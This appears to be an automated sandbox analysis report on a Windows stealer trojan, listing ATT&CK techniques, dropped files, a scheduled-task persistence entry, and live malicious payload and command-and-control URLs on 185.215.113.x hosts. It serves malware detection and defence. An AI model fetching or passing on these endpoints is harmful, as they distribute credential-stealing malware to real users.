Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Query Registry	SSH	Keylogging	114 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Extra Window Memory Injection	Cached Domain Credentials	751 Security Software Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	121 Masquerading	DCSync	2 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	241 Virtualization/Sandbox Evasion	Proc Filesystem	241 Virtualization/Sandbox Evasion	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	112 Process Injection	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\vcruntime140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\random[1].exe	39%	ReversingLabs	Win32.Trojan.Symmi
C:\Users\user\AppData\Local\Temp\1009318001\3de946c107.exe	39%	ReversingLabs	Win32.Trojan.Symmi

Source	Detection	Scanner	Label
http://185.215.113.206e)	0%	Avira URL Cloud	safe
http://185.215.113.16/luma/random.exeN	0%	Avira URL Cloud	safe
http://185.215.113.206/68b591d6548ec281/nss3.dlltf	100%	Avira URL Cloud	malware
http://185.215.113.206/c4becf79229cb002.php%R7	100%	Avira URL Cloud	malware
http://185.215.113.206/c4becf79229cb002.phpfY	100%	Avira URL Cloud	malware
http://185.215.113.206/68b591d6548ec281/vcruntime140.dllUO	100%	Avira URL Cloud	malware
http://185.215.113.206/68b591d6548ec281/softokn3.dllKk	100%	Avira URL Cloud	malware
http://185.215.113.206/68b591d6548ec281/freebl3.dllHe	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
occupy-blushi.sbs	172.67.187.240	true	false	high
chrome.cloudflare-dns.com	172.64.41.3	true	false	high
bg.microsoft.map.fastly.net	199.232.210.172	true	false	high
ssl.bingadsedgeextension-prod-europe.azurewebsites.net	94.245.104.56	true	false	high
sb.scorecardresearch.com	18.165.220.57	true	false	high
www.google.com	172.217.21.36	true	false	high
s-part-0035.t-0009.t-msedge.net	13.107.246.63	true	false	high
googlehosted.l.googleusercontent.com	142.250.181.65	true	false	high
ax-0001.ax-msedge.net	150.171.28.10	true	false	high
clients2.googleusercontent.com	unknown	unknown	false	high
bzib.nelreports.net	unknown	unknown	false	high
assets.msn.com	unknown	unknown	false	high
property-imper.sbs	unknown	unknown	false	high
frogs-severz.sbs	unknown	unknown	false	high
ntp.msn.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
http://185.215.113.206/68b591d6548ec281/softokn3.dll	false	high
http://185.215.113.206/	false	high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732635120738&w=0&anoncknm=app_anon&NoResponseBody=true	false	high
https://assets2.msn.com/bundles/v1/edgeChromium/latest/vendors.7e27cca6027b8d6697cb.js	false	high
http://185.215.113.43/Zu7JuNko/index.php	false	high
http://185.215.113.206/68b591d6548ec281/freebl3.dll	false	high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732635119742&w=0&anoncknm=app_anon&NoResponseBody=true	false	high
https://tse1.mm.bing.net/th?id=OADD2.10239370639606_1UY6VCV79VNDR5KH5&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90	false	high
http://185.215.113.206/68b591d6548ec281/nss3.dll	false	high
https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0	false	high
https://c.msn.com/c.gif?rnd=1732635113530&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=1c3b2735961c4725a13e4f86e67a68ce&activityId=1c3b2735961c4725a13e4f86e67a68ce&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=95C3CC4CBBB3405F9E229E1366ADE0A3&MUID=2FBC76E93A286CF7086363AA3B5A6D16	false	high
https://tse1.mm.bing.net/th?id=OADD2.10239379264963_1YDKCAGWFU8IOZ3VZ&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90	false	high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732635120639&w=0&anoncknm=app_anon&NoResponseBody=true	false	high
https://assets.msn.com/statics/icons/favicon_newtabpage.png	false	high
https://c.msn.com/c.gif?rnd=1732635113530&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=1c3b2735961c4725a13e4f86e67a68ce&activityId=1c3b2735961c4725a13e4f86e67a68ce&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0	false	high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732635113528&time-delta-to-apply-millis=use-collector-delta&w=0&anoncknm=app_anon&NoResponseBody=true	false	high
https://tse1.mm.bing.net/th?id=OADD2.10239370639595_1MX6CE6U5QJ1LNKB2&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90	false	high
http://185.215.113.206/68b591d6548ec281/vcruntime140.dll	false	high
https://clients2.googleusercontent.com/crx/blobs/AW50ZFsLPhJJyx_4ShcDOgcEpJeOc7Vr0kMzfFRoaMfWx4pAgZ0UGF2i9_ei1A7FAHQ-EPFULeBn7F8_SEKhjbpEyKfiidX7GF_6BDOycMeg5w03wjwVQ61hkaEix8WFqmEAxlKa5cmz_tdFr9JtRwdqRu82wmLe2Ghe/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_84_1_0.crx	false	high
http://185.215.113.16/mine/random.exe	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://185.215.113.206e)	file.exe, 00000000.00000002.2711220384.000000000051E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/chrome_newtab	file.exe, 00000000.00000003.2384756090.00000000005ED000.00000004.00000020.00020000.00000000.sdmp, GIIIIJDH.0.dr, IEGCBFHJ.0.dr, Web Data.10.dr	false		high
https://c.msn.com/	2cc80dabc69f58b6_1.10.dr	false		high
https://duckduckgo.com/ac/?q=	file.exe, 00000000.00000003.2384756090.00000000005ED000.00000004.00000020.00020000.00000000.sdmp, GIIIIJDH.0.dr, IEGCBFHJ.0.dr, Web Data.10.dr	false		high
https://www.officeplus.cn/?sid=shoreline&endpoint=OPPC&source=OPCNshoreline	4a75a0c9-9716-4e50-99db-330a2ac291c9.tmp.10.dr	false		high
https://ntp.msn.com/0	000003.log.10.dr	false		high
https://ntp.msn.com/_default	QuotaManager.10.dr	false		high
https://www.last.fm/	4a75a0c9-9716-4e50-99db-330a2ac291c9.tmp.10.dr	false		high
https://deff.nelreports.net/api/report?cat=msn	Reporting and NEL.11.dr	false		high
https://ntp.msn.cn/edge/ntp	2cc80dabc69f58b6_1.10.dr	false		high
https://sb.scorecardresearch.com/	2cc80dabc69f58b6_1.10.dr	false		high
https://deff.nelreports.net/api/report	Reporting and NEL.11.dr	false		high
https://docs.google.com/	manifest.json0.10.dr	false		high
https://www.youtube.com	4a75a0c9-9716-4e50-99db-330a2ac291c9.tmp.10.dr	false		high
https://deff.nelreports.net/api/report?cat=msnw	Reporting and NEL.11.dr	false		high
https://www.instagram.com	4a75a0c9-9716-4e50-99db-330a2ac291c9.tmp.10.dr	false		high
https://web.skype.com/?browsername=edge_canary_shoreline	4a75a0c9-9716-4e50-99db-330a2ac291c9.tmp.10.dr	false		high
https://drive.google.com/	manifest.json0.10.dr	false		high
https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=1	4a75a0c9-9716-4e50-99db-330a2ac291c9.tmp.10.dr	false		high
http://185.215.113.206/68b591d6548ec281/vcruntime140.dllUO	file.exe, 00000000.00000002.2711220384.0000000000592000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=2	4a75a0c9-9716-4e50-99db-330a2ac291c9.tmp.10.dr	false		high
https://www.messenger.com	4a75a0c9-9716-4e50-99db-330a2ac291c9.tmp.10.dr	false		high
https://outlook.live.com/mail/inbox?isExtension=true&sharedHeader=1&nlp=1&client_flight=outlookedge	4a75a0c9-9716-4e50-99db-330a2ac291c9.tmp.10.dr	false		high
https://outlook.office.com/mail/compose?isExtension=true	4a75a0c9-9716-4e50-99db-330a2ac291c9.tmp.10.dr	false		high
https://unitedstates4.ss.wd.microsoft.us/	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.10.dr	false		high
https://i.y.qq.com/n2/m/index.html	4a75a0c9-9716-4e50-99db-330a2ac291c9.tmp.10.dr	false		high
https://www.deezer.com/	4a75a0c9-9716-4e50-99db-330a2ac291c9.tmp.10.dr	false		high
http://185.215.113.206/68b591d6548ec281/freebl3.dllHe	file.exe, 00000000.00000002.2711220384.0000000000577000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.206/c4becf79229cb002.phpfY	file.exe, 00000000.00000003.2384865787.00000000005CA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://web.telegram.org/	4a75a0c9-9716-4e50-99db-330a2ac291c9.tmp.10.dr	false		high
http://www.mozilla.com/en-US/blocklist/	file.exe, 00000000.00000002.2760728126.000000006F6CD000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	false		high
https://mozilla.org0/	freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	false		high
http://185.215.113.206/68b591d6548ec281/softokn3.dllKk	file.exe, 00000000.00000002.2711220384.0000000000577000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://drive-daily-2.corp.google.com/	manifest.json0.10.dr	false		high
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	AECAECFCAAEBFHIEHDGH.0.dr	false		high
http://185.215.113.206/c4becf79229cb002.php(	file.exe, 00000000.00000002.2711220384.0000000000592000.00000004.00000020.00020000.00000000.sdmp	false		high
https://drive-daily-4.corp.google.com/	manifest.json0.10.dr	false		high
https://vibe.naver.com/today	4a75a0c9-9716-4e50-99db-330a2ac291c9.tmp.10.dr	false		high
https://srtb.msn.com/	2cc80dabc69f58b6_1.10.dr	false		high
https://unitedstates1.ss.wd.microsoft.us/	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.10.dr	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000000.00000003.2384756090.00000000005ED000.00000004.00000020.00020000.00000000.sdmp, GIIIIJDH.0.dr, IEGCBFHJ.0.dr, Web Data.10.dr	false		high
http://185.215.113.206/c4becf79229cb002.php/	file.exe, 00000000.00000002.2748824901.00000000232BF000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.16/luma/random.exeN	skotes.exe, 0000001C.00000002.3410402524.000000000078E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://assets.msn.com	a89d4ac7-7cb3-47c6-a86a-7b91df348d70.tmp.11.dr	false		high
https://www.ecosia.org/newtab/	file.exe, 00000000.00000003.2384756090.00000000005ED000.00000004.00000020.00020000.00000000.sdmp, IEGCBFHJ.0.dr	false		high
https://drive-daily-1.corp.google.com/	manifest.json0.10.dr	false		high
https://excel.new?from=EdgeM365Shoreline	4a75a0c9-9716-4e50-99db-330a2ac291c9.tmp.10.dr	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	FHIDBKFCAAEBFIDHDBAECFIEGC.0.dr	false		high
http://185.215.113.206/c4becf79229cb002.php2	file.exe, 00000000.00000003.2384865787.00000000005CA000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.206ngineer	file.exe, 00000000.00000002.2712124553.0000000000B57000.00000040.00000001.01000000.00000003.sdmp	false		high
https://drive-daily-5.corp.google.com/	manifest.json0.10.dr	false		high
http://185.215.113.206/c4becf79229cb002.php%R7	file.exe, 00000000.00000002.2711220384.0000000000592000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://bzib.nelreports.net/api/report?cat=bingbusiness	Reporting and NEL.11.dr	false		high
https://www.google.com/chrome	content.js.10.dr, content_new.js.10.dr	false		high
https://www.tiktok.com/	4a75a0c9-9716-4e50-99db-330a2ac291c9.tmp.10.dr	false		high
https://support.mozilla.org/products/firefoxgro.allizom.troppus.ZAnPVwXvBbYt	FHIDBKFCAAEBFIDHDBAECFIEGC.0.dr	false		high
https://www.msn.com/web-notification-icon-light.png	2cc80dabc69f58b6_1.10.dr	false		high
https://chromewebstore.google.com/	manifest.json.10.dr	false		high
https://drive-preprod.corp.google.com/	manifest.json0.10.dr	false		high
https://srtb.msn.cn/	2cc80dabc69f58b6_1.10.dr	false		high
https://msn.comXIDv10	Cookies.11.dr	false		high
https://www.onenote.com/stickynotes?isEdgeHub=true&auth=2	4a75a0c9-9716-4e50-99db-330a2ac291c9.tmp.10.dr	false		high
https://www.onenote.com/stickynotes?isEdgeHub=true&auth=1	4a75a0c9-9716-4e50-99db-330a2ac291c9.tmp.10.dr	false		high
https://chrome.google.com/webstore/	manifest.json.10.dr	false		high
https://y.music.163.com/m/	4a75a0c9-9716-4e50-99db-330a2ac291c9.tmp.10.dr	false		high
https://unitedstates2.ss.wd.microsoft.us/	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.10.dr	false		high
https://bard.google.com/	4a75a0c9-9716-4e50-99db-330a2ac291c9.tmp.10.dr	false		high
https://assets.msn.cn/resolver/	2cc80dabc69f58b6_1.10.dr	false		high
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696484494400800000.1&ci=1696484494189.12791&cta	file.exe, 00000000.00000002.2748824901.00000000232B3000.00000004.00000020.00020000.00000000.sdmp, AECAECFCAAEBFHIEHDGH.0.dr	false		high
https://browser.events.data.msn.com/	2cc80dabc69f58b6_1.10.dr	false		high
http://185.215.113.206/68b591d6548ec281/nss3.dlltf	file.exe, 00000000.00000002.2711220384.0000000000577000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://web.whatsapp.com	4a75a0c9-9716-4e50-99db-330a2ac291c9.tmp.10.dr	false		high
https://m.kugou.com/	4a75a0c9-9716-4e50-99db-330a2ac291c9.tmp.10.dr	false		high
http://185.215.113.206/c4becf79229cb002.phpd	file.exe, 00000000.00000002.2711220384.0000000000538000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.office.com	4a75a0c9-9716-4e50-99db-330a2ac291c9.tmp.10.dr	false		high
https://outlook.live.com/mail/0/	4a75a0c9-9716-4e50-99db-330a2ac291c9.tmp.10.dr	false		high
http://185.215.113.206/c4becf79229cb002.phpe	file.exe, 00000000.00000002.2748824901.00000000232BF000.00000004.00000020.00020000.00000000.sdmp	false		high
https://ntp.msn.com/edge/ntp	000003.log.10.dr, 2cc80dabc69f58b6_1.10.dr	false		high
https://assets.msn.com/resolver/	2cc80dabc69f58b6_1.10.dr	false		high
https://powerpoint.new?from=EdgeM365Shoreline	4a75a0c9-9716-4e50-99db-330a2ac291c9.tmp.10.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
104.126.116.96	unknown	United States	20940	AKAMAI-ASN1EU	false
13.107.246.63	s-part-0035.t-0009.t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
13.107.246.40	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
104.126.116.90	unknown	United States	20940	AKAMAI-ASN1EU	false
23.200.88.39	unknown	United States	16625	AKAMAI-ASUS	false
20.189.173.3	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
104.126.116.98	unknown	United States	20940	AKAMAI-ASN1EU	false
162.159.61.3	unknown	United States	13335	CLOUDFLARENETUS	false
172.217.21.36	www.google.com	United States	15169	GOOGLEUS	false
20.110.205.119	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
204.79.197.219	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
142.250.181.65	googlehosted.l.googleusercontent.com	United States	15169	GOOGLEUS	false
172.64.41.3	chrome.cloudflare-dns.com	United States	13335	CLOUDFLARENETUS	false
204.79.197.237	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
23.44.133.31	unknown	United States	20940	AKAMAI-ASN1EU	false
94.245.104.56	ssl.bingadsedgeextension-prod-europe.azurewebsites.net	United Kingdom	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
23.44.133.54	unknown	United States	20940	AKAMAI-ASN1EU	false
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
104.126.116.24	unknown	United States	20940	AKAMAI-ASN1EU	false
23.200.88.29	unknown	United States	16625	AKAMAI-ASUS	false
18.238.49.124	unknown	United States	16509	AMAZON-02US	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
23.101.168.44	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false

Private

IP
192.168.2.7
192.168.2.16
192.168.2.6
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1563204
Start date and time:	2024-11-26 16:30:10 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 10m 10s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	29
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@76/291@21/29
EGA Information:	Successful, ratio: 20%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, BackgroundTransferHost.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 2.20.68.201, 20.198.118.190, 216.58.208.227, 172.217.19.238, 64.233.165.84, 34.104.35.123, 192.229.221.95, 172.217.21.35, 172.217.19.234, 172.217.17.42, 172.217.17.74, 142.250.181.138, 142.250.181.74, 216.58.208.234, 172.217.19.170, 172.217.19.202, 13.107.42.16, 204.79.197.203, 172.217.17.46, 204.79.197.239, 13.107.21.239, 13.107.6.158, 172.165.61.93, 2.16.10.175, 2.16.10.182, 2.16.158.59, 2.16.158.82, 2.16.158.81, 2.16.158.40, 2.16.158.50, 2.16.158.96, 2.16.158.184, 2.16.158.48, 2.16.158.33, 13.87.96.169, 184.24.77.156, 184.24.77.155, 104.126.37.40, 104.126.37.51, 104.126.37.32, 104.126.37.43, 104.126.37.50, 104.126.37.17, 2.16.158.35, 2.16.158.179, 2.16.158.27, 2.16.158.192, 2.20.68.210, 2.16.10.177, 2.16.158.97, 2.16.158.169, 2.16.158.56, 142.251.41.3, 142.250.64.99, 142.251.40.163, 142.250.80.99, 142.250.65.227, 142.251.40.99
Excluded domains from analysis (whitelisted): prod-agic-us-3.uksouth.cloudapp.azure.com, nav-edge.smartscreen.microsoft.com, slscr.update.microsoft.com, a416.dscd.akamai.net, data-edge.smartscreen.microsoft.com, img-s-msn-com.akamaized.net, tse1.mm.bing.net, clientservices.googleapis.com, edgeassetservice.afd.azureedge.net, g.bing.com, a767.dspw65.akamai.net, clients2.google.com, e86303.dscx.akamaiedge.net, ocsp.digicert.com, config-edge-skype.l-0007.l-msedge.net, www.gstatic.com, l-0007.l-msedge.net, e28578.d.akamaiedge.net, wu-b-net.trafficmanager.net, star.b.tlu.dl.delivery.mp.microsoft.com.delivery.microsoft.com, www.bing.com, assets.msn.com.edgekey.net, fs.microsoft.com, bingadsedgeextension-prod.trafficmanager.net, prod-atm-wds-edge.trafficmanager.net, www-www.bing.com.trafficmanager.net, business-bing-com.b-0005.b-msedge.net, ris.api.iris.microsoft.com, a1834.dscg2.akamai.net, edgedl.me.gvt1.com, edgeassetservice.azureedge.net, clients.l.google.com, a1847.dscd.akamai.net, config.edge.skype.com.trafficm
Execution Graph export aborted for target DocumentsFBGIDHCAAK.exe, PID 8784 because it is empty
Execution Graph export aborted for target file.exe, PID 5720 because there are no executed function
Execution Graph export aborted for target skotes.exe, PID 7312 because there are no executed function
Execution Graph export aborted for target skotes.exe, PID 9212 because there are no executed function
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Report size getting too big, too many NtWriteFile calls found.
Report size getting too big, too many NtWriteVirtualMemory calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
10:31:39	API Interceptor	180x Sleep call for process: file.exe modified
10:33:01	API Interceptor	107x Sleep call for process: skotes.exe modified
16:32:05	Task Scheduler	Run new task: skotes path: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.43	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	valid.sh.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	PureCrypter, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	PureCrypter, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, DarkTortilla, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
13.107.246.63	file.exe	Get hash	malicious	LummaC Stealer	Browse
	https://travefy.com/f/6ws9rqtq84rara2uwxzvc8hjmmdaewcwf2roW6mB3JM2YGhoH8iP8droW6mB3JM2YGhoH8iP8d	Get hash	malicious	HTMLPhisher	Browse
	https://reauth.oceanagolds.com/eByfEuEc#Z3JhZW1lLmdhbGJyYWl0aEBhcm5vbGRjbGFyay5jb20=	Get hash	malicious	CorporateDataTheft, HTMLPhisher	Browse
	https://cad7f0f6.db98e6271a22556409a87203.workers.dev	Get hash	malicious	CorporateDataTheft, HTMLPhisher	Browse
	Technical Details & Profile Illustrations for This#U00a0Drygair.html	Get hash	malicious	CorporateDataTheft, HTMLPhisher	Browse
	https://reauth.oceanagolds.com	Get hash	malicious	CorporateDataTheft, HTMLPhisher	Browse
	https://ch.bing.com/ck/a?!&&p=de01397e8e89421aJmltdHM9MTY5ODcxMDQwMCZpZ3VpZD0yNTA1NWYyZi1hMDEzLTY3ZTQtMmY0Yy00Yzk0YTEwMTY2MGYmaW5zaWQ9NTE3Nw&ptn=3&ver=2&hsh=3&fclid=25055f2f-a013-67e4-2f4c-4c94a101660f&u=a1aHR0cHM6Ly9mY2Z0YS5jb20vZW5zLw#Ym93ZW4uemhlbmdAb2FrbGV5Y2FwaXRhbC5jb20=	Get hash	malicious	HTMLPhisher	Browse
	https://oce.dzpvwobr.ru/vGysgPt/	Get hash	malicious	Unknown	Browse
	valid.sh.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	PureCrypter, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
chrome.cloudflare-dns.com	oIGNK22EVW.exe	Get hash	malicious	Unknown	Browse	172.64.41.3
	oIGNK22EVW.exe	Get hash	malicious	Unknown	Browse	172.64.41.3
	file.exe	Get hash	malicious	PureCrypter, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	172.64.41.3
